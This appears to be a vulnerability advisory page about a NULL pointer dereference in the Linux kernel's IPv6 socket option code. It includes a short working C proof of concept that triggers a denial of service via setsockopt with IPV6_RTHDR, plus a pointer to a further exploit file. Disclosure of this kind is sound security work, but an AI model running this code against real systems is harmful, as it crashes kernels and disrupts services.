• info
• discussion
• exploit
• solution
• references

Linux Kernel IPV6_SockGlue.c NULL Pointer Dereference Vulnerability

The following code is sufficient to cause denial-of-service conditions:

#include <netinet/in.h>

int main(int argc, char **argv) {
int s, optval;

s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
setsockopt(s, SOL_IPV6, IPV6_RTHDR, &optval, 0);

return 0;
}

The following exploit code is alao available:

• /data/vulnerabilities/exploits/23142.c